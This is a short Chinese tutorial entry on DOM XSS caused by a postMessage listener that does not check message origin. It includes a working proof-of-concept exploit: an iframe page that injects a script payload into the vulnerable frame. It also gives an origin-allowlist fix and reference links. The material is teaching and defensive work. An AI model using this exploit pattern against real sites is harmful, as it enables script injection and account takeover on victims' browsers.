102 消息事件引发的 DOM XSS

![](/media/202203/2022-03-12_105321_327632.png)

从代码中看，15 行监听接收一个消息事件，然后将内容传递给第 6 行添加到页面，但是没有验证消息的来源，所以造成了 DOM 型的 XSS，这个消息可以来自任何地方。

如果 header 中未设置  Content-Security-Policy 中 frame-ancestors 指令以及 X-Frame-Options 标头，那么就可以发送构造好的页面给受害者，受害者打开之后可以指定任意 JavaScript 脚本。

漏洞利用 HTML：

```
<iframe name="iframe" src="http://漏洞代码页面链接"></iframe>
<script>
window.addEventListener('message', (event) => {
  if (event.data === 'loaded') {
    const payload = 'alert(origin)';
    iframe.postMessage(`<script>${payload}<\x2fscript>`, '*');
  }
});
</script>
```

修复方式，可以定义允许接受的消息来源，然后进行验证，比如：

```
const allowedOrigins = [
    'https://example.com',
    'https://blog.example.com',
];
window.addEventListener('message', (event) => {
    if (!allowedOrigins.includes(event.origin)) {
        return;
    }
    handleEvent(event);
});`
```

参考学习资料：

1、关于 CSP：

> http://www.ruanyifeng.com/blog/2016/09/csp.html

2、关于 X-Frame-Options

> https://cloud.tencent.com/developer/section/1190032

3、该漏洞代码来源

> https://blog.sonarsource.com/ghost-admin-takeover